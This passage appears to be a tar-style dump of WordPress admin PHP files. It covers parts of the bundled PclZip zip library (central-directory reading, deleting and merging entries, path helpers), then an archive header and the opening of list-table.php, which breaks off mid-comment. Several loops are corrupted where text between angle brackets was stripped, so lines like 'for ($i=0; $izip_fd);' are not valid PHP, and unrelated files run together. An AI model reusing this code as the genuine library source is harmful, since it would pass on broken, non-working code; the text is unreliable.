if (@ftell($this->zip_fd) != $v_size)
{
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to go to the end of the archive \''.$this->zipname.'\'');
// ----- Return
return PclZip::errorCode();
}
// ----- First try : look if this is an archive with no commentaries (most of the time)
// in this case the end of central dir is at 22 bytes of the file end
$v_found = 0;
if ($v_size > 26) {
@fseek($this->zip_fd, $v_size-22);
if (($v_pos = @ftell($this->zip_fd)) != ($v_size-22))
{
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\'');
// ----- Return
return PclZip::errorCode();
}
// ----- Read for bytes
$v_binary_data = @fread($this->zip_fd, 4);
$v_data = @unpack('Vid', $v_binary_data);
// ----- Check signature
if ($v_data['id'] == 0x06054b50) {
$v_found = 1;
}
$v_pos = ftell($this->zip_fd);
}
// ----- Go back to the maximum possible size of the Central Dir End Record
if (!$v_found) {
$v_maximum_size = 65557; // 0xFFFF + 22;
if ($v_maximum_size > $v_size)
$v_maximum_size = $v_size;
@fseek($this->zip_fd, $v_size-$v_maximum_size);
if (@ftell($this->zip_fd) != ($v_size-$v_maximum_size))
{
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\'');
// ----- Return
return PclZip::errorCode();
}
// ----- Read byte per byte in order to find the signature
$v_pos = ftell($this->zip_fd);
$v_bytes = 0x00000000;
while ($v_pos < $v_size)
{
// ----- Read a byte
$v_byte = @fread($this->zip_fd, 1);
// ----- Add the byte
//$v_bytes = ($v_bytes << 8) | Ord($v_byte);
// Note we mask the old value down such that once shifted we can never end up with more than a 32bit number
// Otherwise on systems where we have 64bit integers the check below for the magic number will fail.
$v_bytes = ( ($v_bytes & 0xFFFFFF) << 8) | Ord($v_byte);
// ----- Compare the bytes
if ($v_bytes == 0x504b0506)
{
$v_pos++;
break;
}
$v_pos++;
}
// ----- Look if not found end of central dir
if ($v_pos == $v_size)
{
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Unable to find End of Central Dir Record signature");
// ----- Return
return PclZip::errorCode();
}
}
// ----- Read the first 18 bytes of the header
$v_binary_data = fread($this->zip_fd, 18);
// ----- Look for invalid block size
if (strlen($v_binary_data) != 18)
{
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid End of Central Dir Record size : ".strlen($v_binary_data));
// ----- Return
return PclZip::errorCode();
}
// ----- Extract the values
$v_data = unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', $v_binary_data);
// ----- Check the global size
if (($v_pos + $v_data['comment_size'] + 18) != $v_size) {
// ----- Removed in release 2.2 see readme file
// The check of the file size is a little too strict.
// Some bugs where found when a zip is encrypted/decrypted with 'crypt'.
// While decrypted, zip has training 0 bytes
if (0) {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT,
'The central dir is not at the end of the archive.'
.' Some trailing bytes exists after the archive.');
// ----- Return
return PclZip::errorCode();
}
}
// ----- Get comment
if ($v_data['comment_size'] != 0) {
$p_central_dir['comment'] = fread($this->zip_fd, $v_data['comment_size']);
}
else
$p_central_dir['comment'] = '';
$p_central_dir['entries'] = $v_data['entries'];
$p_central_dir['disk_entries'] = $v_data['disk_entries'];
$p_central_dir['offset'] = $v_data['offset'];
$p_central_dir['size'] = $v_data['size'];
$p_central_dir['disk'] = $v_data['disk'];
$p_central_dir['disk_start'] = $v_data['disk_start'];
// TBC
//for(reset($p_central_dir); $key = key($p_central_dir); next($p_central_dir)) {
//}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privDeleteByRule()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privDeleteByRule(&$p_result_list, &$p_options)
{
$v_result=1;
$v_list_detail = array();
// ----- Open the zip file
if (($v_result=$this->privOpenFd('rb')) != 1)
{
// ----- Return
return $v_result;
}
// ----- Read the central directory information
$v_central_dir = array();
if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
{
$this->privCloseFd();
return $v_result;
}
// ----- Go to beginning of File
@rewind($this->zip_fd);
// ----- Scan all the files
// ----- Start at beginning of Central Dir
$v_pos_entry = $v_central_dir['offset'];
@rewind($this->zip_fd);
if (@fseek($this->zip_fd, $v_pos_entry))
{
// ----- Close the zip file
$this->privCloseFd();
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
// ----- Return
return PclZip::errorCode();
}
// ----- Read each entry
$v_header_list = array();
$j_start = 0;
for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++)
{
// ----- Read the file header
$v_header_list[$v_nb_extracted] = array();
if (($v_result = $this->privReadCentralFileHeader($v_header_list[$v_nb_extracted])) != 1)
{
// ----- Close the zip file
$this->privCloseFd();
return $v_result;
}
// ----- Store the index
$v_header_list[$v_nb_extracted]['index'] = $i;
// ----- Look for the specific extract rules
$v_found = false;
// ----- Look for extract by name rule
if ( (isset($p_options[PCLZIP_OPT_BY_NAME]))
&& ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {
// ----- Look if the filename is in the list
for ($j=0; ($j strlen($p_options[PCLZIP_OPT_BY_NAME][$j]))
&& (substr($v_header_list[$v_nb_extracted]['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
$v_found = true;
}
elseif ( (($v_header_list[$v_nb_extracted]['external']&0x00000010)==0x00000010) /* Indicates a folder */
&& ($v_header_list[$v_nb_extracted]['stored_filename'].'/' == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
$v_found = true;
}
}
// ----- Look for a filename
elseif ($v_header_list[$v_nb_extracted]['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
$v_found = true;
}
}
}
// ----- Look for extract by ereg rule
// ereg() is deprecated with PHP 5.3
/*
else if ( (isset($p_options[PCLZIP_OPT_BY_EREG]))
&& ($p_options[PCLZIP_OPT_BY_EREG] != "")) {
if (ereg($p_options[PCLZIP_OPT_BY_EREG], $v_header_list[$v_nb_extracted]['stored_filename'])) {
$v_found = true;
}
}
*/
// ----- Look for extract by preg rule
else if ( (isset($p_options[PCLZIP_OPT_BY_PREG]))
&& ($p_options[PCLZIP_OPT_BY_PREG] != "")) {
if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header_list[$v_nb_extracted]['stored_filename'])) {
$v_found = true;
}
}
// ----- Look for extract by index rule
else if ( (isset($p_options[PCLZIP_OPT_BY_INDEX]))
&& ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {
// ----- Look if the index is in the list
for ($j=$j_start; ($j=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
$v_found = true;
}
if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
$j_start = $j+1;
}
if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) {
break;
}
}
}
else {
$v_found = true;
}
// ----- Look for deletion
if ($v_found)
{
unset($v_header_list[$v_nb_extracted]);
}
else
{
$v_nb_extracted++;
}
}
// ----- Look if something need to be deleted
if ($v_nb_extracted > 0) {
// ----- Creates a temporary file
$v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
// ----- Creates a temporary zip archive
$v_temp_zip = new PclZip($v_zip_temp_name);
// ----- Open the temporary zip file in write mode
if (($v_result = $v_temp_zip->privOpenFd('wb')) != 1) {
$this->privCloseFd();
// ----- Return
return $v_result;
}
// ----- Look which file need to be kept
for ($i=0; $izip_fd);
if (@fseek($this->zip_fd, $v_header_list[$i]['offset'])) {
// ----- Close the zip file
$this->privCloseFd();
$v_temp_zip->privCloseFd();
@unlink($v_zip_temp_name);
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
// ----- Return
return PclZip::errorCode();
}
// ----- Read the file header
$v_local_header = array();
if (($v_result = $this->privReadFileHeader($v_local_header)) != 1) {
// ----- Close the zip file
$this->privCloseFd();
$v_temp_zip->privCloseFd();
@unlink($v_zip_temp_name);
// ----- Return
return $v_result;
}
// ----- Check that local file header is same as central file header
if ($this->privCheckFileHeaders($v_local_header,
$v_header_list[$i]) != 1) {
// TBC
}
unset($v_local_header);
// ----- Write the file header
if (($v_result = $v_temp_zip->privWriteFileHeader($v_header_list[$i])) != 1) {
// ----- Close the zip file
$this->privCloseFd();
$v_temp_zip->privCloseFd();
@unlink($v_zip_temp_name);
// ----- Return
return $v_result;
}
// ----- Read/write the data block
if (($v_result = PclZipUtilCopyBlock($this->zip_fd, $v_temp_zip->zip_fd, $v_header_list[$i]['compressed_size'])) != 1) {
// ----- Close the zip file
$this->privCloseFd();
$v_temp_zip->privCloseFd();
@unlink($v_zip_temp_name);
// ----- Return
return $v_result;
}
}
// ----- Store the offset of the central dir
$v_offset = @ftell($v_temp_zip->zip_fd);
// ----- Re-Create the Central Dir files header
for ($i=0; $iprivWriteCentralFileHeader($v_header_list[$i])) != 1) {
$v_temp_zip->privCloseFd();
$this->privCloseFd();
@unlink($v_zip_temp_name);
// ----- Return
return $v_result;
}
// ----- Transform the header to a 'usable' info
$v_temp_zip->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
}
// ----- Zip file comment
$v_comment = '';
if (isset($p_options[PCLZIP_OPT_COMMENT])) {
$v_comment = $p_options[PCLZIP_OPT_COMMENT];
}
// ----- Calculate the size of the central header
$v_size = @ftell($v_temp_zip->zip_fd)-$v_offset;
// ----- Create the central dir footer
if (($v_result = $v_temp_zip->privWriteCentralHeader(sizeof($v_header_list), $v_size, $v_offset, $v_comment)) != 1) {
// ----- Reset the file list
unset($v_header_list);
$v_temp_zip->privCloseFd();
$this->privCloseFd();
@unlink($v_zip_temp_name);
// ----- Return
return $v_result;
}
// ----- Close
$v_temp_zip->privCloseFd();
$this->privCloseFd();
// ----- Delete the zip file
// TBC : I should test the result ...
@unlink($this->zipname);
// ----- Rename the temporary file
// TBC : I should test the result ...
//@rename($v_zip_temp_name, $this->zipname);
PclZipUtilRename($v_zip_temp_name, $this->zipname);
// ----- Destroy the temporary archive
unset($v_temp_zip);
}
// ----- Remove every files : reset the file
else if ($v_central_dir['entries'] != 0) {
$this->privCloseFd();
if (($v_result = $this->privOpenFd('wb')) != 1) {
return $v_result;
}
if (($v_result = $this->privWriteCentralHeader(0, 0, 0, '')) != 1) {
return $v_result;
}
$this->privCloseFd();
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privDirCheck()
// Description :
// Check if a directory exists, if not it creates it and all the parents directory
// which may be useful.
// Parameters :
// $p_dir : Directory path to check.
// Return Values :
// 1 : OK
// -1 : Unable to create directory
// --------------------------------------------------------------------------------
function privDirCheck($p_dir, $p_is_dir=false)
{
$v_result = 1;
// ----- Remove the final '/'
if (($p_is_dir) && (substr($p_dir, -1)=='/'))
{
$p_dir = substr($p_dir, 0, strlen($p_dir)-1);
}
// ----- Check the directory availability
if ((is_dir($p_dir)) || ($p_dir == ""))
{
return 1;
}
// ----- Extract parent directory
$p_parent_dir = dirname($p_dir);
// ----- Just a check
if ($p_parent_dir != $p_dir)
{
// ----- Look for parent directory
if ($p_parent_dir != "")
{
if (($v_result = $this->privDirCheck($p_parent_dir)) != 1)
{
return $v_result;
}
}
}
// ----- Create the directory
if (!@mkdir($p_dir, 0777))
{
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_DIR_CREATE_FAIL, "Unable to create directory '$p_dir'");
// ----- Return
return PclZip::errorCode();
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privMerge()
// Description :
// If $p_archive_to_add does not exist, the function exit with a success result.
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privMerge(&$p_archive_to_add)
{
$v_result=1;
// ----- Look if the archive_to_add exists
if (!is_file($p_archive_to_add->zipname))
{
// ----- Nothing to merge, so merge is a success
$v_result = 1;
// ----- Return
return $v_result;
}
// ----- Look if the archive exists
if (!is_file($this->zipname))
{
// ----- Do a duplicate
$v_result = $this->privDuplicate($p_archive_to_add->zipname);
// ----- Return
return $v_result;
}
// ----- Open the zip file
if (($v_result=$this->privOpenFd('rb')) != 1)
{
// ----- Return
return $v_result;
}
// ----- Read the central directory information
$v_central_dir = array();
if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
{
$this->privCloseFd();
return $v_result;
}
// ----- Go to beginning of File
@rewind($this->zip_fd);
// ----- Open the archive_to_add file
if (($v_result=$p_archive_to_add->privOpenFd('rb')) != 1)
{
$this->privCloseFd();
// ----- Return
return $v_result;
}
// ----- Read the central directory information
$v_central_dir_to_add = array();
if (($v_result = $p_archive_to_add->privReadEndCentralDir($v_central_dir_to_add)) != 1)
{
$this->privCloseFd();
$p_archive_to_add->privCloseFd();
return $v_result;
}
// ----- Go to beginning of File
@rewind($p_archive_to_add->zip_fd);
// ----- Creates a temporary file
$v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
// ----- Open the temporary file in write mode
if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
{
$this->privCloseFd();
$p_archive_to_add->privCloseFd();
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');
// ----- Return
return PclZip::errorCode();
}
// ----- Copy the files from the archive to the temporary file
// TBC : Here I should better append the file and go back to erase the central dir
$v_size = $v_central_dir['offset'];
while ($v_size != 0)
{
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = fread($this->zip_fd, $v_read_size);
@fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
// ----- Copy the files from the archive_to_add into the temporary file
$v_size = $v_central_dir_to_add['offset'];
while ($v_size != 0)
{
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = fread($p_archive_to_add->zip_fd, $v_read_size);
@fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
// ----- Store the offset of the central dir
$v_offset = @ftell($v_zip_temp_fd);
// ----- Copy the block of file headers from the old archive
$v_size = $v_central_dir['size'];
while ($v_size != 0)
{
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @fread($this->zip_fd, $v_read_size);
@fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
// ----- Copy the block of file headers from the archive_to_add
$v_size = $v_central_dir_to_add['size'];
while ($v_size != 0)
{
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @fread($p_archive_to_add->zip_fd, $v_read_size);
@fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
// ----- Merge the file comments
$v_comment = $v_central_dir['comment'].' '.$v_central_dir_to_add['comment'];
// ----- Calculate the size of the (new) central header
$v_size = @ftell($v_zip_temp_fd)-$v_offset;
// ----- Swap the file descriptor
// Here is a trick : I swap the temporary fd with the zip fd, in order to use
// the following methods on the temporary fil and not the real archive fd
$v_swap = $this->zip_fd;
$this->zip_fd = $v_zip_temp_fd;
$v_zip_temp_fd = $v_swap;
// ----- Create the central dir footer
if (($v_result = $this->privWriteCentralHeader($v_central_dir['entries']+$v_central_dir_to_add['entries'], $v_size, $v_offset, $v_comment)) != 1)
{
$this->privCloseFd();
$p_archive_to_add->privCloseFd();
@fclose($v_zip_temp_fd);
$this->zip_fd = null;
// ----- Reset the file list
unset($v_header_list);
// ----- Return
return $v_result;
}
// ----- Swap back the file descriptor
$v_swap = $this->zip_fd;
$this->zip_fd = $v_zip_temp_fd;
$v_zip_temp_fd = $v_swap;
// ----- Close
$this->privCloseFd();
$p_archive_to_add->privCloseFd();
// ----- Close the temporary file
@fclose($v_zip_temp_fd);
// ----- Delete the zip file
// TBC : I should test the result ...
@unlink($this->zipname);
// ----- Rename the temporary file
// TBC : I should test the result ...
//@rename($v_zip_temp_name, $this->zipname);
PclZipUtilRename($v_zip_temp_name, $this->zipname);
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privDuplicate()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privDuplicate($p_archive_filename)
{
$v_result=1;
// ----- Look if the $p_archive_filename exists
if (!is_file($p_archive_filename))
{
// ----- Nothing to duplicate, so duplicate is a success.
$v_result = 1;
// ----- Return
return $v_result;
}
// ----- Open the zip file
if (($v_result=$this->privOpenFd('wb')) != 1)
{
// ----- Return
return $v_result;
}
// ----- Open the temporary file in write mode
if (($v_zip_temp_fd = @fopen($p_archive_filename, 'rb')) == 0)
{
$this->privCloseFd();
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive file \''.$p_archive_filename.'\' in binary write mode');
// ----- Return
return PclZip::errorCode();
}
// ----- Copy the files from the archive to the temporary file
// TBC : Here I should better append the file and go back to erase the central dir
$v_size = filesize($p_archive_filename);
while ($v_size != 0)
{
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = fread($v_zip_temp_fd, $v_read_size);
@fwrite($this->zip_fd, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
// ----- Close
$this->privCloseFd();
// ----- Close the temporary file
@fclose($v_zip_temp_fd);
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privErrorLog()
// Description :
// Parameters :
// --------------------------------------------------------------------------------
function privErrorLog($p_error_code=0, $p_error_string='')
{
if (PCLZIP_ERROR_EXTERNAL == 1) {
PclError($p_error_code, $p_error_string);
}
else {
$this->error_code = $p_error_code;
$this->error_string = $p_error_string;
}
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privErrorReset()
// Description :
// Parameters :
// --------------------------------------------------------------------------------
function privErrorReset()
{
if (PCLZIP_ERROR_EXTERNAL == 1) {
PclErrorReset();
}
else {
$this->error_code = 0;
$this->error_string = '';
}
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privDisableMagicQuotes()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privDisableMagicQuotes()
{
$v_result=1;
// EDIT for WordPress 5.3.0
// magic_quote functions are deprecated in PHP 7.4, now assuming it's always off.
/*
// ----- Look if function exists
if ( (!function_exists("get_magic_quotes_runtime"))
|| (!function_exists("set_magic_quotes_runtime"))) {
return $v_result;
}
// ----- Look if already done
if ($this->magic_quotes_status != -1) {
return $v_result;
}
// ----- Get and memorize the magic_quote value
$this->magic_quotes_status = @get_magic_quotes_runtime();
// ----- Disable magic_quotes
if ($this->magic_quotes_status == 1) {
@set_magic_quotes_runtime(0);
}
*/
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privSwapBackMagicQuotes()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privSwapBackMagicQuotes()
{
$v_result=1;
// EDIT for WordPress 5.3.0
// magic_quote functions are deprecated in PHP 7.4, now assuming it's always off.
/*
// ----- Look if function exists
if ( (!function_exists("get_magic_quotes_runtime"))
|| (!function_exists("set_magic_quotes_runtime"))) {
return $v_result;
}
// ----- Look if something to do
if ($this->magic_quotes_status != -1) {
return $v_result;
}
// ----- Swap back magic_quotes
if ($this->magic_quotes_status == 1) {
@set_magic_quotes_runtime($this->magic_quotes_status);
}
*/
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
}
// End of class
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : PclZipUtilPathReduction()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function PclZipUtilPathReduction($p_dir)
{
$v_result = "";
// ----- Look for not empty path
if ($p_dir != "") {
// ----- Explode path by directory names
$v_list = explode("/", $p_dir);
// ----- Study directories from last to first
$v_skip = 0;
for ($i=sizeof($v_list)-1; $i>=0; $i--) {
// ----- Look for current path
if ($v_list[$i] == ".") {
// ----- Ignore this directory
// Should be the first $i=0, but no check is done
}
else if ($v_list[$i] == "..") {
$v_skip++;
}
else if ($v_list[$i] == "") {
// ----- First '/' i.e. root slash
if ($i == 0) {
$v_result = "/".$v_result;
if ($v_skip > 0) {
// ----- It is an invalid path, so the path is not modified
// TBC
$v_result = $p_dir;
$v_skip = 0;
}
}
// ----- Last '/' i.e. indicates a directory
else if ($i == (sizeof($v_list)-1)) {
$v_result = $v_list[$i];
}
// ----- Double '/' inside the path
else {
// ----- Ignore only the double '//' in path,
// but not the first and last '/'
}
}
else {
// ----- Look for item to skip
if ($v_skip > 0) {
$v_skip--;
}
else {
$v_result = $v_list[$i].($i!=(sizeof($v_list)-1)?"/".$v_result:"");
}
}
}
// ----- Look for skip
if ($v_skip > 0) {
while ($v_skip > 0) {
$v_result = '../'.$v_result;
$v_skip--;
}
}
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : PclZipUtilPathInclusion()
// Description :
// This function indicates if the path $p_path is under the $p_dir tree. Or,
// said in an other way, if the file or sub-dir $p_path is inside the dir
// $p_dir.
// The function indicates also if the path is exactly the same as the dir.
// This function supports path with duplicated '/' like '//', but does not
// support '.' or '..' statements.
// Parameters :
// Return Values :
// 0 if $p_path is not inside directory $p_dir
// 1 if $p_path is inside directory $p_dir
// 2 if $p_path is exactly the same as $p_dir
// --------------------------------------------------------------------------------
function PclZipUtilPathInclusion($p_dir, $p_path)
{
$v_result = 1;
// ----- Look for path beginning by ./
if ( ($p_dir == '.')
|| ((strlen($p_dir) >=2) && (substr($p_dir, 0, 2) == './'))) {
$p_dir = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_dir, 1);
}
if ( ($p_path == '.')
|| ((strlen($p_path) >=2) && (substr($p_path, 0, 2) == './'))) {
$p_path = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_path, 1);
}
// ----- Explode dir and path by directory separator
$v_list_dir = explode("/", $p_dir);
$v_list_dir_size = sizeof($v_list_dir);
$v_list_path = explode("/", $p_path);
$v_list_path_size = sizeof($v_list_path);
// ----- Study directories paths
$i = 0;
$j = 0;
while (($i < $v_list_dir_size) && ($j < $v_list_path_size) && ($v_result)) {
// ----- Look for empty dir (path reduction)
if ($v_list_dir[$i] == '') {
$i++;
continue;
}
if ($v_list_path[$j] == '') {
$j++;
continue;
}
// ----- Compare the items
if (($v_list_dir[$i] != $v_list_path[$j]) && ($v_list_dir[$i] != '') && ( $v_list_path[$j] != '')) {
$v_result = 0;
}
// ----- Next items
$i++;
$j++;
}
// ----- Look if everything seems to be the same
if ($v_result) {
// ----- Skip all the empty items
while (($j < $v_list_path_size) && ($v_list_path[$j] == '')) $j++;
while (($i < $v_list_dir_size) && ($v_list_dir[$i] == '')) $i++;
if (($i >= $v_list_dir_size) && ($j >= $v_list_path_size)) {
// ----- There are exactly the same
$v_result = 2;
}
else if ($i < $v_list_dir_size) {
// ----- The path is shorter than the dir
$v_result = 0;
}
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : PclZipUtilCopyBlock()
// Description :
// Parameters :
// $p_mode : read/write compression mode
// 0 : src & dest normal
// 1 : src gzip, dest normal
// 2 : src normal, dest gzip
// 3 : src & dest gzip
// Return Values :
// --------------------------------------------------------------------------------
function PclZipUtilCopyBlock($p_src, $p_dest, $p_size, $p_mode=0)
{
$v_result = 1;
if ($p_mode==0)
{
while ($p_size != 0)
{
$v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @fread($p_src, $v_read_size);
@fwrite($p_dest, $v_buffer, $v_read_size);
$p_size -= $v_read_size;
}
}
else if ($p_mode==1)
{
while ($p_size != 0)
{
$v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @gzread($p_src, $v_read_size);
@fwrite($p_dest, $v_buffer, $v_read_size);
$p_size -= $v_read_size;
}
}
else if ($p_mode==2)
{
while ($p_size != 0)
{
$v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @fread($p_src, $v_read_size);
@gzwrite($p_dest, $v_buffer, $v_read_size);
$p_size -= $v_read_size;
}
}
else if ($p_mode==3)
{
while ($p_size != 0)
{
$v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @gzread($p_src, $v_read_size);
@gzwrite($p_dest, $v_buffer, $v_read_size);
$p_size -= $v_read_size;
}
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : PclZipUtilRename()
// Description :
// This function tries to do a simple rename() function. If it fails, it
// tries to copy the $p_src file in a new $p_dest file and then unlink the
// first one.
// Parameters :
// $p_src : Old filename
// $p_dest : New filename
// Return Values :
// 1 on success, 0 on failure.
// --------------------------------------------------------------------------------
function PclZipUtilRename($p_src, $p_dest)
{
$v_result = 1;
// ----- Try to rename the files
if (!@rename($p_src, $p_dest)) {
// ----- Try to copy & unlink the src
if (!@copy($p_src, $p_dest)) {
$v_result = 0;
}
else if (!@unlink($p_src)) {
$v_result = 0;
}
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : PclZipUtilOptionText()
// Description :
// Translate option value in text. Mainly for debug purpose.
// Parameters :
// $p_option : the option value.
// Return Values :
// The option text value.
// --------------------------------------------------------------------------------
function PclZipUtilOptionText($p_option)
{
$v_list = get_defined_constants();
for (reset($v_list); $v_key = key($v_list); next($v_list)) {
$v_prefix = substr($v_key, 0, 10);
if (( ($v_prefix == 'PCLZIP_OPT')
|| ($v_prefix == 'PCLZIP_CB_')
|| ($v_prefix == 'PCLZIP_ATT'))
&& ($v_list[$v_key] == $p_option)) {
return $v_key;
}
}
$v_result = 'Unknown';
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : PclZipUtilTranslateWinPath()
// Description :
// Translate windows path by replacing '\' by '/' and optionally removing
// drive letter.
// Parameters :
// $p_path : path to translate.
// $p_remove_disk_letter : true | false
// Return Values :
// The path translated.
// --------------------------------------------------------------------------------
function PclZipUtilTranslateWinPath($p_path, $p_remove_disk_letter=true)
{
if (stristr(php_uname(), 'windows')) {
// ----- Look for potential disk letter
if (($p_remove_disk_letter) && (($v_position = strpos($p_path, ':')) != false)) {
$p_path = substr($p_path, $v_position+1);
}
// ----- Change potential windows directory separator
if ((strpos($p_path, '\\') > 0) || (substr($p_path, 0,1) == '\\')) {
$p_path = strtr($p_path, '\\', '/');
}
}
return $p_path;
}
// --------------------------------------------------------------------------------
?>
list-table.php 0000644 00000007332 14757313107 0007332 0 ustar 00 'posts',
'WP_Media_List_Table' => 'media',
'WP_Terms_List_Table' => 'terms',
'WP_Users_List_Table' => 'users',
'WP_Comments_List_Table' => 'comments',
'WP_Post_Comments_List_Table' => array( 'comments', 'post-comments' ),
'WP_Links_List_Table' => 'links',
'WP_Plugin_Install_List_Table' => 'plugin-install',
'WP_Themes_List_Table' => 'themes',
'WP_Theme_Install_List_Table' => array( 'themes', 'theme-install' ),
'WP_Plugins_List_Table' => 'plugins',
'WP_Application_Passwords_List_Table' => 'application-passwords',
// Network Admin.
'WP_MS_Sites_List_Table' => 'ms-sites',
'WP_MS_Users_List_Table' => 'ms-users',
'WP_MS_Themes_List_Table' => 'ms-themes',
// Privacy requests tables.
'WP_Privacy_Data_Export_Requests_List_Table' => 'privacy-data-export-requests',
'WP_Privacy_Data_Removal_Requests_List_Table' => 'privacy-data-removal-requests',
);
if ( isset( $core_classes[ $class_name ] ) ) {
foreach ( (array) $core_classes[ $class_name ] as $required ) {
require_once ABSPATH . 'wp-admin/includes/class-wp-' . $required . '-list-table.php';
}
if ( isset( $args['screen'] ) ) {
$args['screen'] = convert_to_screen( $args['screen'] );
} elseif ( isset( $GLOBALS['hook_suffix'] ) ) {
$args['screen'] = get_current_screen();
} else {
$args['screen'] = null;
}
/**
* Filters the list table class to instantiate.
*
* @since 6.1.0
*
* @param string $class_name The list table class to use.
* @param array $args An array containing _get_list_table() arguments.
*/
$custom_class_name = apply_filters( 'wp_list_table_class_name', $class_name, $args );
if ( is_string( $custom_class_name ) && class_exists( $custom_class_name ) ) {
$class_name = $custom_class_name;
}
return new $class_name( $args );
}
return false;
}
/**
* Register column headers for a particular screen.
*
* @see get_column_headers(), print_column_headers(), get_hidden_columns()
*
* @since 2.7.0
*
* @param string $screen The handle for the screen to register column headers for. This is
* usually the hook name returned by the `add_*_page()` functions.
* @param string[] $columns An array of columns with column IDs as the keys and translated
* column names as the values.
*/
function register_column_headers( $screen, $columns ) {
new _WP_List_Table_Compat( $screen, $columns );
}
/**
* Prints column headers for a particular screen.
*
